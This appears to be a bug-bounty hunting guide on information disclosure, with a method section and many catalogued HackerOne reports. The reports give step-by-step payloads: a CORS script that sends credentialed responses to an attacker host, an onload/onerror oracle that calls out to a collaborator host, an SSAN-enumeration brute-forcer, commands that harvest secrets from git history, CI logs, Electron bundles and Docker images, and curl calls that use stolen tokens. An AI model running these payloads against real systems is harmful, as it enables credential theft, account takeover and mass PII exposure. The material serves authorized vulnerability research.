Information disclosure is the application handing you data it shouldn't: secrets (API keys, tokens, signing keys), other users' PII, internal object fields, or system internals (stack traces, headers, source, hostnames). The mechanism is almost always an authorization or serialization gap — the control that hides the data on one path is absent on another (a different render format, a git history entry, a build log, an error page).
Two flavours matter. Some leaks are directly sensitive — a leaked secret_key_base, a live cloud token, or an OTP in a response body is immediate account-takeover or RCE. Others are recon that unlocks the next bug — a leaked internal hostname is an SSRF target, a leaked object UUID is an IDOR, a leaked admin email feeds a password reset. Treat every leak as the first link in a chain, not the finding itself: quantify whose data, how many (is the id enumerable?), and the most sensitive field.
# Alternate-render diff — the core probe
GET /users/123 HTTP/1.1 # HTML -> name only
GET /users/123.json HTTP/1.1 # diff: email? phone? role? token? internal ids?
Find which surface leaks, then apply the matching probe.
The authz/field-filtering is enforced on the HTML view only. The same object serialized as JSON/XML/JS or fetched via GraphQL dumps private attributes — emails, phone numbers, roles, OTP backup codes, signing tokens.
GET /wp-json/wp/v2/users/1 HTTP/1.1
Host: TARGET
# unauth REST/API route dumps a privileged author's email the HTML never shows (#2450685)
POST /graphql HTTP/1.1
Content-Type: application/json
{"query":"{ user(id:123){ email phone role backupCodes internalNotes } }"}
Long-lived credentials committed to public repos, printed into CI build logs, or shipped inside client artifacts. Deleted-from-HEAD secrets survive in history; unmasked tokens survive in logs; desktop/mobile apps are shipped secret stores.
# repos + full history (secret removed from HEAD still in history)
git clone REPO && git log -p | grep -Ei 'api[_-]?key|secret|token|password|AKIA|BEGIN.*PRIVATE KEY|jdbc:'
trufflehog github --org TARGET # or gitleaks detect
# search the human, not just the org — engineers leak corp keys in personal repos
# GitHub code search: org:TARGET "api_key" / "<employee>" FIREBASE_TOKEN
# desktop app = secret store
asar extract app.asar app-src # Electron -> build/**/production.env.json, client_secret.json
# Android: jadx -d out app.apk && grep -rEi 'cloudinary://|AKIA|google_api_key|firebase' out
# validate before reporting — turns 'info' into 'critical'
curl -H 'x-api-key: <LEAKED>' https://api.provider.com/whoami
# odd encoding knocks the app into a verbose framework error page
GET /path?param=%C0%AE%C0%AE%2F%FE%FF HTTP/1.1
# -> Rails/Django/etc. stack trace exposes secret_key_base / DB creds (#460545)
# probe debug/status endpoints that echo config or request data:
# /actuator/env /server-status (#1398270) /phpinfo.php (#761790) /?debug=1
Any flow that dispatches a secret out-of-band (SMS OTP, emailed verify/reset token, TOTP seed) but also returns it in the HTTP response defeats the entire possession check. Always inspect the response.
POST /api/send-otp HTTP/1.1
{"phone":"<VICTIM_PHONE>"}
HTTP/1.1 200 OK
{"otp":"482913", ...} # code returned in-band (#2635315, #2633888)
# -> submit it, verify as victim
Access control applied to the app root but not subpaths; exposed VCS/config/backup files; directory listings that yield decompilable source.
GET / HTTP/1.1 -> 403 # do NOT stop here
GET /WEB-INF/ HTTP/1.1 -> directory listing (.class/.jar -> decompile) (#301812)
GET /.git/config HTTP/1.1 # then git-dumper -> full source + embedded secrets
GET /.env HTTP/1.1 # live cloud/db/mail creds
When you can't read the data directly, build an oracle: a state-dependent response size, timing difference, or onload/onerror signal that answers a yes/no about the victim — enough to deanonymize or confirm a private object. Proxy/anonymity breaks when an out-of-proxy DNS/handler leaks the real IP.
<!-- yes/no oracle on a cross-origin private object -->
<script src="https://TARGET/private/obj" onload="fetch('https://COLLAB/?yes')"
onerror="fetch('https://COLLAB/?no')"></script>
# external protocol handler bypasses the proxy, leaks real IP (#253429)
sftp://COLLAB:80/index.php
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 568 in this class.
Real-world example
Secrets hardcoded in public source control (GitHub/Git/CI logs)
◆ Critical
Specimen #716292 · starbucks · awarded · 738 votes · resolved
Program starbucksSurface cloudChain leaked key -> internal API -> AWS account takeoverTag cloud-awsTag supply-chain
Root cause
Long-lived credentials (API keys, tokens, client certs) committed to public repos or emitted into CI build logs. A single valid key pivots straight into internal systems/cloud.
Method
- Target org + employees: GitHub code/commit search, gists, personal repos, forks, and CI logs (Travis/GH Actions)
- Grep for provider key patterns (x-api-key, AKIA, 'token ', BEGIN PRIVATE KEY, *.pem)
- Validate the credential against its API before reporting to prove impact/scope
- Escalate: list systems/users, run commands, pivot to cloud (JumpCloud->AWS)
curl -H 'x-api-key: <LEAKED>' https://console.jumpcloud.com/api/systems
# git secrets recon
github code search: org OR employee-name "api_key" OR "token" OR "BEGIN RSA PRIVATE KEY"
Insight — Search the human, not just the org: engineers leak company keys in personal learning repos (e.g. a leetcode repo), CI logs, and committed certs. Always validate the key to establish real access and escalate severity from 'info' to 'critical'.
Real-world example
Alternate .json render over-serializes private object attributes
◆ Critical
Specimen #3000510 · security · awarded · 623 votes · resolved
Program securitySurface api
Root cause
The /reports/:id.json representation serialized reporter object attributes (email, OTP backup codes, phone, graphql_secret_token) that the HTML view hid, triggered when a reporter summary was present.
Method
- Take any disclosed/HTML resource URL and append .json (or .xml/.js)
- Diff the JSON against the rendered page for extra fields
- Look for secrets: tokens, email, MFA backup codes, internal IDs
GET /reports/<ID>.json HTTP/2
Host: target
Insight — The .json/.xml/API representation of a page frequently exposes a wider, unfiltered attribute set than the UI. Always fetch the machine-readable variant and diff.
Real-world example
GitHub PAT leaked in shipped Electron app (.env inside app.asar)
◆ Critical
Specimen #1087489 · shopify · 50000 · 1548 votes · resolved
Program shopifySurface desktopTag supply-chain
Root cause
A distributed Electron/macOS app bundled a leftover build .env containing a GitHub Personal Access Token with push/pull to all private org repos; unpacking the app.asar recovered it.
Method
- Obtain the app bundle, locate the app.asar
- npx asar extract app.asar out/
- Search extracted tree for .env / tokens / secrets
- Validate token scope against GitHub API
npx asar extract path/to/app.asar extracted/
curl -H "Authorization: token $GH_TOKEN" https://api.github.com/user
curl -H "Authorization: token $GH_TOKEN" https://api.github.com/user/orgs
curl -H "Authorization: token $GH_TOKEN" https://api.github.com/orgs/ORG/repos
Insight — Desktop/Electron apps are distributable filesystems: unpack app.asar and grep for secrets/.env; build-time env files are frequently left in the shipped bundle. Confirm token scope via /user, /user/orgs, /orgs/*/repos.
Real-world example
Cross-object reference in Quick Action serializes full model -> secret
◆ Critical
Specimen #509924 · gitlab · 12000 · 365 votes · resolved
Program gitlabSurface api
Root cause
The Quick Actions interpreter's `/move` command let a user reference a project they couldn't access; the target Project model was serialized wholesale into the JSON response, including runners_token.
Method
- In an issue/comment use a command that references an arbitrary object by path/ID (e.g. /move <other project>)
- Submit and inspect the JSON response for the serialized target model
- Extract secret attributes (runners_token, tokens, internal fields)
/move <full/path/of/any/other/project>
# response -> target_project { ... "runners_token":"..." ... }
Insight — Commands/features that accept an object reference frequently serialize the whole model into the response with no field allowlist. Point them at objects you don't own and read the raw JSON.
Real-world example
Secrets in public GitHub -> Electron app.asar -> live third-party tokens
◆ Critical
Specimen #397527 · grab · awarded · 143 votes · resolved
Program grabSurface webChain public repo/binary -> asar extract -> Slack xoxp tokenTag supply-chainTag account-takeover
Root cause
Employee-published repos/desktop apps bundle real credentials; an Electron app's app.asar can be unpacked to recover env files containing live Slack (xoxp), Google OAuth client_secret, and access/refresh tokens that grant full third-party access.
Method
- OSINT employee GitHub profiles for repos/releases
- Download the desktop build; on Electron go to Contents/Resources
- asar extract app.asar out/ to recover source, constants, env json
- Pull client_secret.json / production.env.json (Slack xoxp, Google OAuth, tokens)
- Validate token against the vendor API (e.g. Slack conversations.list)
npm install -g asar
asar extract app.asar app-src
# then: build/environement/production.env.json, build/constants/google/client_secret.json
curl -H 'Authorization: Bearer xoxp-...' https://slack.com/api/conversations.list
Insight — Desktop apps (Electron/asar, APKs, exe resources) are shipped secret stores - unpack them, not just scrape the web app. A leaked Slack xoxp user token bypasses the account password and 2FA entirely.
Real-world example
OTP code returned in the API response body
◆ Critical
Specimen #2635315 · mtn_group · awarded · 132 votes · resolved
Program mtn_groupSurface apiChain OTP leak -> auth as victimTag account-takeover
Root cause
The phone-auth endpoint returns the generated OTP code inside its HTTP response, so an attacker who can trigger OTP for a victim's number reads the code directly and bypasses the possession check.
Method
- Trigger the OTP send for a target phone number
- Inspect the API response body/JSON for the OTP value
- Submit the leaked code to authenticate as the victim
# POST send-otp for <VICTIM_PHONE>
# response contains the OTP, e.g. {"otp":"NNNNNN", ...}
Insight — Always diff OTP/verification-send responses for the secret itself (and in headers, redirect URLs, or push payloads). Programs frequently leak the code in the very response meant only to dispatch it. A trivially high-impact recurring bug.
Real-world example
Cloud provider auth token exposed in public CI build logs
◆ Critical
Specimen #2915647 · mozilla · awarded · 123 votes · resolved
Program mozillaSurface cloudChain CI log token -> Netlify Owner access -> site content/dTag supply-chainTag cloud-aws
Root cause
A CI/CD pipeline prints a Netlify auth token into a publicly-accessible build log (live.log); the unmasked token grants full (Owner/Publisher) control of the org's Netlify account and deployments.
Method
- Find public CI logs (Taskcluster/GitHub Actions/Jenkins) for the target
- Search logs for auth:, token, bearer, api_key, secret
- Extract the token and validate it against the provider API
# in live.log search 'auth:' then:
curl -s https://api.netlify.com/api/v1/accounts -H "Authorization: Bearer TOKEN" | jq
Insight — Public CI/build logs are a high-yield secret source - grep them for auth:/Bearer/token. Deploy-platform tokens (Netlify/Vercel/Cloudflare) usually mean full site takeover and supply-chain compromise.
Real-world example
Unauthenticated attachment mirror with directory listing + guessable keys
◆ Critical
Specimen #979787 · gitlab · awarded · 102 votes · resolved
Program gitlabSurface webTag file-upload
Root cause
An internal automation mirrored HackerOne report attachments to a helper domain (h1.sec.gitlab.net/a/) that had directory listing enabled and served objects by content key with no auth check, exposing PoCs for unpatched vulns even when the source report returned access-denied.
Method
- From a public report, follow links a vendor member posted to internal trackers (gitlab.com issues labeled HackerOne)
- Notice attachments are served from a helper mirror domain
- Open the mirror root (https://h1.sec.gitlab.net/a/) - directory listing reveals all content keys
- Fetch any object directly: https://<mirror>/a/<content_key>.<ext> - no auth, works even for attachments of access-denied reports
GET https://h1.sec.gitlab.net/a/ # directory listing of all keys
GET https://h1.sec.gitlab.net/a/<content_key>.jpg # any private attachment
Insight — When an app imports/mirrors sensitive files into a secondary bucket or helper domain for automation, that mirror often lacks the source system's access control. Enumerate helper/CDN domains and test for directory listing and key-guessable object retrieval.
Real-world example
Password-reset error message as an identity oracle + no rate limit
◆ Critical
Specimen #2748003 · deptofdefense · none · 98 votes · resolved
Program deptofdefenseSurface webChain differential reset error -> SSAN enumeration -> maidenTag account-takeover
Root cause
The password-reset form returned different responses depending on whether a submitted SSAN mapped to an account (and whether that account had a PKI credential); with no rate limiting this differential response is an oracle to enumerate valid identifiers (here ~772M SSANs) and then brute-force the secondary secret (mother's maiden name).
Method
- Locate the reset flow and submit a known-bad identifier; record the 'does not match' response signature
- Submit a valid identifier; observe a different message (e.g. 'account found, use CAC')
- Automate: iterate identifiers, flag any response that is NOT the 'does not match' baseline
- For hits without strong secondary auth, brute-force the second factor (common surnames as maiden name)
# ASP.NET postback brute-forcer (carry hidden __VIEWSTATE/__EVENTVALIDATION forward)
data['ctl00$cphPage$txtSSAN'] = str(ssan).zfill(9)
data['ctl00$phPage$txtMMN'] = 'NONEXISTANT'
data['ctl00$cphPage$btnSubmit'] = 'Submit'
r = s.post(url+'/PKI/PassReset.aspx', data=data, verify=False, allow_redirects=False)
if 'SSAN Does not match a ssan in our records.' not in r.text:
print('[+] valid identifier', ssan)
Insight — Any auth/reset/verify flow that responds differently for existing vs non-existing identifiers is an enumeration oracle - diff the exact response text, not just status. Rate-limit-only is a nag; rate-limit + a differential oracle over a guessable ID space = real PII enumeration / ATO.
Real-world example
WordPress REST user enumeration (author email) + CORS credentialed exfil
◆ Critical
Specimen #2450685 · mtn_group · none · 82 votes · resolved
Program mtn_groupSurface webChain REST user enum (admin email) + CORS ACAC:true -> cross-orTag cors
Root cause
The WordPress REST route /wp-json/wp/v2/users/<id> exposed admin author data (including email) without auth, and a CORS policy returning Access-Control-Allow-Credentials: true let a cross-origin page read the credentialed response; the leaked admin email then feeds password reset / brute force.
Method
- Request /wp-json/wp/v2/users/<id> (iterate id) and read exposed username/email of privileged authors.
- If CORS returns Access-Control-Allow-Credentials: true with a reflected/permissive origin, host a page that XHRs the endpoint withCredentials and posts the response to your server.
- Use the harvested admin email at wp-login for forgot-password / password brute force.
var x=new XMLHttpRequest();
x.onreadystatechange=function(){ if(x.readyState==4&&x.status==200){
var d=x.responseText; var e=new XMLHttpRequest();
e.open('POST','https://attacker/collect',true); e.withCredentials=true; e.send('data='+d);
}};
x.open('GET','https://TARGET/wp-json/wp/v2/users/15',true); x.withCredentials=true; x.send();
Insight — Always probe /wp-json/wp/v2/users on WordPress targets for author PII, and test CORS by sending Origin headers - Access-Control-Allow-Credentials: true with a reflected/null/permissive origin turns an info leak into cross-origin credentialed theft.
Real-world example
OTP returned in API response body -> verification/ATO bypass
◆ Critical
Specimen #2633888 · mtn_group · none · 80 votes · resolved
Program mtn_groupSurface webChain OTP disclosure -> phone verification bypass -> accountTag account-takeover
Root cause
When requesting a quote, the server sends an OTP to the user's phone AND echoes the same OTP in the JSON API response, so anyone who submits a phone number can read the code and pass verification for that number.
Method
- Start the flow that triggers an OTP (get-a-quote) with a proxy running
- Enter a target/any valid phone number
- Read the OTP directly from the API response body
- Submit that OTP to complete verification / take over the account
POST /.../send-otp {"phone":"<number>"}\n=> 200 {"otp":"482913", ...} // code returned in response
Insight — Always inspect OTP/2FA/verification responses in the proxy. Codes leaked in the response body (or in headers, or as a predictable value) let an attacker verify arbitrary phone/email and hijack accounts. Trivial to spot, high impact.
Real-world example
External protocol handler bypasses proxy, leaks real IP
◆ Critical
Specimen #253429 · torproject · 3000 · 71 votes · resolved
Program torprojectSurface desktopChain proxy bypass -> real-IP disclosure + local resource acces
Root cause
Navigating a Tor Browser tab to an sftp:// URI hands the request to the OS's default SSH/SFTP client, which connects directly (outside the SOCKS proxy and DNS), leaking the user's real IP and enabling access to local resources.
Method
- Host a listener and get the victim to open sftp://<your-ip>:80/index.php in Tor Browser (Linux)
- The OS ssh client connects directly on the victim's behalf, bypassing the SOCKS proxy
- Read the victim's real IP from your server logs (SSH banner in the request)
# lure: sftp://<attacker-ip>:80/index.php
# attacker apache log shows:
# AH00126: Invalid URI in request SSH-2.0-OpenSSH_7.2p2 (direct, non-Tor connection)
Insight — Proxy/anonymity is only as strong as the app's URI-scheme handling. Any external protocol handler (sftp://, smb://, ftp://, mailto:, custom schemes) that the browser delegates to an OS client can bypass the proxy and deanonymize. Audit which schemes trigger external apps.
Real-world example
AWS keys + DB creds baked into a public Docker Hub image layer
◆ Critical
Specimen #2401648 · mozilla · awarded · 70 votes · resolved
Program mozillaSurface cloudChain leaked keys -> AWS resource accessTag cloud-awsTag supply-chain
Root cause
Secrets committed into an image build (a config.json under test scripts) persist in the pushed Docker Hub layers; anyone can pull the public image and extract live AWS access/secret keys and database credentials.
Method
- Find the org's public images on hub.docker.com (e.g. mozilla/commonvoice)
- docker pull the image, then inspect layers / filesystem
- Read hardcoded creds at /code/scripts/test/config.json
- Validate keys with aws sts get-caller-identity / enumerate resources
docker pull mozilla/commonvoice
docker save mozilla/commonvoice | tar -x # or: docker run --rm -it mozilla/commonvoice sh
cat /code/scripts/test/config.json # AWS keys + DB user/pass
Insight — Public container registries are a secrets goldmine. Enumerate an org's Docker Hub / GHCR images, pull them, and grep every layer for config.json/.env/aws credentials - test/dev scripts are the usual leak site. Related supply-chain: #1720278, #1580567.
Real-world example
Atlassian/Jira admin API token hardcoded in a script shared in Slack
◆ Critical
Specimen #2467999 · mozilla · 1000 · 64 votes · resolved
Program mozillaSurface webChain leaked admin token -> full Jira tenant access
Root cause
A staff member posted a Python script containing a hardcoded Jira admin API token to a public Slack channel; the token authenticates as a Jira administrator.
Method
- Search accessible chat/file shares (Slack, Teams, public repos, gists) for token patterns
- Find ATATT3x... (Atlassian API token) alongside a user email in a script
- Verify privileges: curl -u "email:TOKEN" .../rest/api/3/user/groups?accountId=..
- Confirm groups include jira-administrators / site-admins
curl -u "USER@EXAMPLE:ATATT3xFfGF0V...TOKEN" -H "Content-Type: application/json" https://ORG.atlassian.net/rest/api/3/user/groups?accountId=ACCID
Insight — Chat channels and shared scripts are a top secrets source. Grep for provider token prefixes - Atlassian ATATT3x, AWS AKIA, GitHub ghp_/gho_, Slack xox. Validate an Atlassian token's power with /rest/api/3/user/groups before reporting.
Real-world example
GitLab project export leaks members' authentication_token -> admin/RCE
◆ Critical
Specimen #158330 · gitlab · none · 61 votes · resolved
Program gitlabSurface webChain invite admin as member -> export -> read admin authent
Root cause
The project export feature serializes full user objects for team members into project.json, including each member's authentication_token. Adding an admin as a member and exporting yields the admin's API token, which grants admin-panel access and (via GitLab admin features) RCE.
Method
- Create a project; invite a target (ideally an instance admin) as a member.
- Generate an export and download it.
- Unzip and read project.json -> project_members[].user.authentication_token.
- Use the token as ?authentication_token=<token> to reach /admin/users; escalate to RCE via admin features.
# after export download
unzip export.tar.gz && jq '.project_members[].user.authentication_token' project.json
# use it:
curl "https://gitlab.TARGET/admin/users?authentication_token=<admin_token>"
Insight — Export/serialization features are a prime over-serialization sink: dumping whole ORM objects (users, members, settings) often includes secrets like tokens, password hashes, or 2FA seeds. Always inspect export/backup artifacts for embedded credentials.
Real-world example
Hardcoded credentials / API keys in client-side JavaScript
◆ Critical
Specimen #1703733 · mtn_group · none · 48 votes · resolved
Program mtn_groupSurface webTag account-takeover
Root cause
Backend service credentials and third-party API keys are embedded directly in the page's client-side JavaScript (inline scripts, JS files), fully readable via view-source, and weak hashes (MD5) are trivially cracked.
Method
- Open the target page and view source (Ctrl+U) or pull all linked .js files
- Grep for uid/passwd/password/api_key/token and SDK init calls (e.g. placeAd({uid, passwd}))
- Extract credentials/keys; crack any MD5/weak hashes offline
- Validate access against the corresponding admin/API surface
window.mobucksApi.placeAd({
containerElementId: "mtn20238",
uid: "mtnng",
passwd: "<HASH/plaintext in page source>",
plid: 73
});
# md5:bd31568138edbfc0552a1ecc6886ea -> crack offline
Insight — Always read the raw HTML and every bundled JS file: SDK initializers and config blobs frequently hardcode uid/passwd or vendor API keys (Datadog, etc.). Client-side is not a secret store; crack any exposed MD5.
Real-world example
Exposed phpinfo() file leaks live DB connection string
◆ Critical
Specimen #761790 · deptofdefense · none · 42 votes · resolved
Program deptofdefenseSurface webChain phpinfo disclosure -> MSSQL connection string -> poten
Root cause
A publicly reachable PHP info page dumps environment/config including a full MSSQL connection string (host, user, password), giving direct database credentials plus host/path recon.
Method
- Probe common info/debug filenames: /phpinfo.php, /test.php, /info.php, /i.php.
- In the rendered page search for 'password', 'Data Source', 'User Id', 'Initial Catalog'.
- Confirm the disclosed DB is reachable (e.g. nc to the ms-sql-s port) without connecting further.
GET /INFO_FILE.php HTTP/1.1
Host: TARGET
# grep response for: Data Source=tcp:HOST;Initial Catalog=DB;User Id=USER;Password=PASS
Insight — phpinfo/test pages are not just banner leaks -- they routinely embed env vars and connection strings. Always keyword-search the full dump for password/Data Source/AWS/secret; the payoff can be live credentials, not just version info.
Real-world example
Soft-delete re-registration triggers duplicate-key 500 leaking DB schema (debug on)
◆ Critical
Specimen #1082891 · kartpay · none · 39 votes · resolved
Program kartpaySurface webChain soft-delete/re-register duplicate-key -> verbose debug 50
Root cause
Admin deletion only soft-deletes a merchant record; re-registering the same email hits a unique constraint the code never checks, throwing a 500, and because debug is enabled in production the error page dumps SQL table/column details.
Method
- Get a record soft-deleted (e.g. admin removes a merchant/email).
- Re-register with the same email/identifier to hit the duplicate-key constraint.
- Read the resulting 500 debug page for SQL table names, columns, and internal data.
Register email=X -> admin soft-deletes X -> Register email=X again
# duplicate-key 500 with debug=on -> SQL table/schema disclosure
Insight — Soft-delete plus re-creation is a reliable way to force uniqueness-constraint errors; on any app with debug/verbose errors in prod, that 500 leaks schema. Generally: hunt state that collides with DB constraints (re-registration, duplicate slugs) to surface stack traces.
Real-world example
WordPress REST API user enumeration (/wp-json/wp/v2/users/)
◆ Critical
Specimen #1735586 · mtn_group · none · 33 votes · resolved
Program mtn_groupSurface web
Root cause
WordPress exposes the REST users collection at /wp-json/wp/v2/users/ (and /users/<id>), returning display names and slugs (login hints) for all authors/admins to unauthenticated callers.
Method
- Request /wp-json/wp/v2/users/ on a WordPress site
- Collect names/slugs (incl. admin)
- Feed usernames into targeted brute force / spear-phishing
GET /wp-json/wp/v2/users/ HTTP/1.1
GET /wp-json/wp/v2/users/1 HTTP/1.1
Insight — On any WordPress target hit /wp-json/wp/v2/users/, ?rest_route=/wp/v2/users, and /?author=1 redirects to harvest usernames; the fix is to unset the users REST endpoints.
Real-world example
Recon chain: exposed .git -> credentials in request logs -> SSRF -> CSS injection
◆ Critical
Specimen #889886 · h1-ctf · none · 30 votes · resolved
Program h1-ctfSurface webChain .git exposure -> repo path -> log creds -> 2FA bypaTag account-takeover
Root cause
An exposed .git/config pointed to a public repo commit that revealed a debug log path (bp_web_trace.log); the base64-encoded request logs contained plaintext login credentials and 2FA answers, seeding a multi-stage account-takeover chain (SSRF via cookie, secret-in-APK, privesc, CSS-injection exfil).
Method
- certspotter/CT + dirsearch to enumerate subdomains and find an exposed /.git/
- Read /.git/config -> public repo commit -> discover a request-logger log path
- Decode base64 log lines to recover username/password/challenge answers; continue chain (SSRF in cookie -> internal APK, leaked APK secret, privesc to admin, CSS-injection to exfil the payment 2FA)
# /.git/config -> repo -> bp_web_trace.log (base64 request logs)
{"METHOD":"POST","PARAMS":{"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
Insight — Exposed .git is a force multiplier: config -> source repo -> hardcoded paths/secrets. Verbose request/response loggers that persist bodies (even base64-'encoded') are credential goldmines. Chain recon leaks into auth bypass rather than reporting them in isolation.
Real-world example
Recover full phone number via partial hint + rate-limit oracle
◆ Critical
Specimen #1225164 · X / xAI · USD 560 · 30 votes · resolved
Program X / xAISurface webChain Masked last-2-digits leak -> forced lockout on victim -&g
Root cause
An SMS-code flow revealed the last two digits of a user's phone number, and the forgot-password/SMS endpoints returned distinct responses (including a persistent 'exceeded attempts' rate-limit message tied to the real number) that act as an oracle to brute-force the remaining digits.
Method
- From the victim username, trigger the SMS flow that shows 'code to the phone ending in XX' (leaks last 2 digits)
- Repeatedly request codes to that account until it returns the 'You've exceeded the number of attempts' lockout message
- Use forgot-password to request SMS across all candidate numbers ending in XX (narrowed by country/operator prefix)
- The candidate that returns the same 'exceeded attempts' lockout is the victim's real number
# Oracle responses when probing candidate numbers &&&&&&15:
# 'Number not associated' -> wrong
# "You'll receive a code..." -> valid but not victim
# "You've exceeded the number of attempts" -> victim's number (already rate-limited)
Insight — Chain a partial-PII disclosure (masked digits) with a response-difference oracle across auth/recovery endpoints to reconstruct the whole secret. Rate-limit/lockout state is itself an oracle: a number that is already throttled uniquely identifies the target account.
Real-world example
ASP.NET Trace.axd exposes captured request logs
◆ Critical
Specimen #519418 · deptofdefense · none · 29 votes · resolved
Program deptofdefenseSurface web
Root cause
ASP.NET application-level tracing (trace enabled with localOnly=false) exposes Trace.axd, which stores full details of recent requests (headers, cookies, POST bodies) readable by any user.
Method
- Authenticate as any low-priv user (or none, if trace is public)
- Request /Trace.axd (also try app subpaths like /app/Trace.axd)
- Open 'View Details' on captured requests and grep for SSNs, passwords, session/CSRF tokens
GET /Trace.axd HTTP/1.1
Host: TARGET
# then browse captured requests; search response for app_ssn, password, __RequestVerificationToken
Insight — On any IIS/ASP.NET target, probe Trace.axd (and elmah.axd) at the app root and sub-application roots. It captures other users' live requests, turning a debug leftover into cross-user credential/PII disclosure.
Real-world example
WordPress REST API user enumeration (/wp-json/wp/v2/users)
◆ Critical
Specimen #1784999 · mtn_group · none · 29 votes · resolved
Program mtn_groupSurface web
Root cause
The default WordPress REST API exposes /wp-json/wp/v2/users, listing author accounts with slug/name, enabling username harvesting for brute force and phishing.
Method
- Request /wp-json/wp/v2/users/ on a WordPress site
- Collect names and login slugs of authors/admin
- Also try /?rest_route=/wp/v2/users and /wp-json/wp/v2/users/1
GET /wp-json/wp/v2/users/ HTTP/1.1
Host: TARGET
# fix: unset $endpoints['/wp/v2/users'] via rest_endpoints filter
Insight — On any WordPress target, hit /wp-json/wp/v2/users first for free username enumeration; combine with /wp-json/ index to map exposed plugins and routes.
Real-world example
Hardcoded creds in APK + subdomain brute to find where they work
◆ Critical
Specimen #246995 · eternal · USD 500 · 28 votes · resolved
Program eternalSurface mobile-androidChain APK static analysis -> basic-auth creds -> subdomain bTag subdomain-takeover
Root cause
Basic-auth credentials for a dev environment were hardcoded in the Android app; the credential's primary domain returned 503, but subdomain brute-forcing revealed a live subdomain hosting a clone of the main admin panel that accepted them.
Method
- Decompile the APK and grep strings/resources for Authorization headers, basic-auth blobs, API keys
- If the associated host is down, enumerate subdomains of that domain
- Try the recovered credentials against each live subdomain to find where they authenticate
# in decompiled app: Authorization: Basic base64(user:pass)
# host returns 503 -> subdomain brute -> admin-clone subdomain accepts the creds
Insight — Hardcoded credentials are only half the find: when their obvious host is dead/parked, brute-force sibling subdomains - dev/staging clones of admin panels often accept the same creds. Pair APK secret extraction with subdomain enumeration.
Real-world example
Secrets via exposed Jenkins injectedEnvVars/console
◆ Critical
Specimen #388740 · homebrew · none · 27 votes · resolved
Program homebrewSurface webTag cloud-aws
Root cause
A publicly reachable Jenkins exposed per-build console output and the injectedEnvVars page, which render build-time environment variables including credential tokens.
Method
- Find an exposed CI (Jenkins) instance
- Open a build's Console Output and /injectedEnvVars/ page
- Extract tokens (e.g. HOMEBREW_GITHUB_API_TOKEN) and validate scope
https://jenkins.TARGET/job/<job>/<n>/injectedEnvVars/
export GH=<token>
curl https://api.github.com/repos/ORG/REPO/git/blobs -u $GH:x-oauth-basic -d '{"content":"test"}'
Insight — Exposed CI (Jenkins/GitLab CI/TeamCity) console and env-var pages are a top secrets source; grep build logs and injectedEnvVars for *_TOKEN/*_KEY and validate them.
Real-world example
Exposed dependency manifests (composer.json/composer.lock)
◆ Critical
Specimen #231267 · pushwoosh · none · 23 votes · resolved
Program pushwooshSurface webTag account-takeover
Root cause
Development/config artifacts are served from the web root, disclosing exact dependency names and pinned versions (composer.lock), which maps directly to known CVEs.
Method
- Request common manifest/config paths at the web root
- Retrieve composer.json / composer.lock (also try Gemfile.lock, package-lock.json, yarn.lock)
- Map pinned versions to public CVEs for follow-on exploitation
https://TARGET/composer.json
https://TARGET/composer.lock
Insight — Always request dependency manifests directly; composer.lock/package-lock.json give exact versions, turning a low-value file exposure into a targeted known-vulnerability hunt.
Real-world example
PII/SSN in publicly hosted uploaded documents (wp-content/uploads)
◆ Critical
Specimen #719631 · deptofdefense · none · 22 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
Sensitive documents (a training .pptx containing live SSN/PII) are placed in a publicly reachable uploads directory with no access control or scrubbing.
Method
- Enumerate publicly served document paths (wp-content/uploads, /files, CDN)
- Harvest office/pdf files (pptx, xlsx, docx, pdf)
- Open and inspect slides/sheets for embedded live PII
https://TARGET/wp-content/uploads/2017/12/Introduction-to-iPERMS-Slides.pptx # slide 25 = live PII
# recon: site: wildcard + filetype:pptx OR filetype:xlsx OR filetype:pdf
Insight — Treat every publicly hosted document as a data-leak candidate. Use Google dorks (filetype:pptx/xlsx/pdf) and crawl uploads dirs; internal training/demo docs routinely embed real records that look 'redacted' but are not.
Real-world example
Exposed Laravel .env with live cloud/db/mail secrets, found via LeakIX
◆ Critical
Specimen #1580567 · glovo · none · 21 votes · resolved
Program glovoSurface webChain exposed .env -> valid AWS/DB/SMTP creds -> account/infTag cloud-aws
Root cause
A deployed host serves its Laravel .env (APP_KEY, DB creds, AWS_ACCESS_KEY_ID/SECRET, SENDGRID_API_KEY, Redis password) to the public web; internet-scan services (LeakIX/Shodan) index these automatically.
Method
- Search LeakIX/Shodan/GreyNoise for the target org or exposed .env fingerprints
- Fetch /.env (or the indexed path) and harvest AWS/DB/SMTP secrets
- Validate keys out-of-band (aws sts get-caller-identity, sendgrid, redis-cli)
# LeakIX host page lists the exposed service:
https://leakix.net/host/<ip>
curl -s https://TARGET/.env | grep -Ei 'KEY|SECRET|PASSWORD|TOKEN'
Insight — Internet-scan aggregators (LeakIX, Shodan, BinaryEdge) surface exposed .env/config files without you scanning. Pivot on the target's IP ranges/org name, then validate every secret rather than assuming it is stale.
Real-world example
API excessive data exposure leaks users' authentication_token -> full impersonation
◆ Critical
Specimen #268794 · gitlab · none · 20 votes · resolved
Program gitlabSurface apiChain excessive data exposure -> token theft -> account takeTag account-takeover
Root cause
The public /api/v4/users/<id> serializer includes the secret authentication_token field for every user and is reachable unauthenticated; anyone can read any user's private token and use it to act as that user.
Method
- GET /api/v4/users/<id> unauthenticated
- Extract the authentication_token from the JSON
- Use it as PRIVATE-TOKEN to perform any action as that user (create issues, access private data)
- Iterate over user ids to compromise all accounts
curl -s https://TARGET/api/v4/users/951422 | jq '.authentication_token'
curl -X POST -H 'PRIVATE-TOKEN: <leaked>' 'https://TARGET/api/v4/projects/<id>/issues?title=owned'
Insight — Diff API object fields against the UI: serializers frequently over-include secrets (tokens, hashes, 2FA seeds, private emails) especially on user/self endpoints. Any leaked long-lived token = account takeover; always test it, don't just report the field.
Real-world example
Predictable web-root backup archive exposure
◆ Critical
Specimen #1516520 · mtn_group · none · 20 votes · resolved
Program mtn_groupSurface web
Root cause
A full site backup archive left in the web root under a guessable name is directly downloadable, exposing source code and DB credentials.
Method
- Guess archive names at web root (sitename.zip, backup.zip, www.zip, site.tar.gz)
- GET /TARGET.zip and download
- Extract -> source + DB credentials
GET https://TARGET/TARGET.zip
GET https://TARGET/backup.zip
GET https://TARGET/www.tar.gz
Insight — Fuzz the web root for backup/archive names derived from the domain plus common words; a single hit yields source and secrets. Pair with directory-listing checks.
Real-world example
Exposed /.htpasswd credential-hash disclosure
